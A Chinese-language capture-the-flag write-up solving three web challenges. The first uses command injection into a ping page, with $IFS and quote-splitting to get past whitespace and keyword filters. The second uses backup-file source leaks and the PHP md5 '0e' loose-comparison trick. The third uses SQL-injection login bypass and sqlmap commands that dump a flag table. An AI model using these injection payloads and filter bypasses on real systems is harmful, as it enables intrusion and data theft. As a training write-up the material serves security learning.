(比赛题目可能有改动,做法没变)
首先是一个网络测试页面。
随便填点东西。
出现?site=what的GET参数,猜测功能是输入一个ip或域名进行执行ping命令。
尝试命令注入。
输入localhost&&ls:
输入localhost&&ls /etc:
结果相同,可能是因为把空白字符之后的内容删除了。
输入localhost&&ls$IFS/etc ($IFS变量储存了一个空白字符):
命令正常执行了。
输入localhost&&ls$IFS/:
发现flag文件。
尝试读取,localhost&&cat$IFS/flag:
应该是服务器拦截了flag字符串,
把路径分割来绕过,localhost&&cat$IFS/fl''ag:
flag{P1ng_10c41h0st_c4t_f14g}
(比赛题目可能有改动,做法没变)
首先是一个登录页面。
随便填点东西登录。
显示一个FALSE
发现多了一个Cookie。
看格式应该是base64。
解码:
看样子是一个php序列化的对象。
网页右键源码
提示robots.txt
访问robots.txt
发现有另外两个页面
还可能有源码泄露
phpinfo.php:
sqldebug.php:
我们尝试访问index.php~和sqldebug.php~
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(-1);
class Auth {
public $username = '';
public $login = 0;
public function verify() {
return 'FALSE';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<form action="" method="POST">
<table>
<tr>
<td>Username</td>
<td><input type="text" name="username"></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" name="password"></td>
</tr>
<tr>
<td>Remember me <input type="checkbox" name="rememberme"></td>
<td><input type="submit" value="Submit"></td>
题目把输入转化为字符串,所以不用想改数组了。
因为两个md5比较的时候用的是==弱类型比较,0e开头的字符串在这种情况下可以当做0的某次方的科学计数法表示,也就是0。
所以任意两个md5是以0e开头,而且比较时用的是==时就能为真。
或者直接搜一对md5的碰撞
(比赛题目可能有改动,做法没变)
首先一个登陆页面
猜用户:
admin
用’#尝试绕过
或直接绕过:
都能登陆。
登陆后跳转到sqldebug.php,有uid参数。
简单测试:
使用sqlmap(用自己的cookie):
sqlmap -u 'http://192.168.44.128/sqldebug.php?uid=1' --cookie='PHPSESSID=xxxxxxxxxx' –dbs
sqlmap -u 'http://192.168.44.128/sqldebug.php?uid=1' --cookie='PHPSESSID=xxxxxxxxxx' -D fakelogin1 –tables
sqlmap -u 'http://192.168.44.128/sqldebug.php?uid=1' --cookie='PHPSESSID=xxxxxxxxxx' -D fakelogin1 -T fffflllaaaaagggggg369 –dump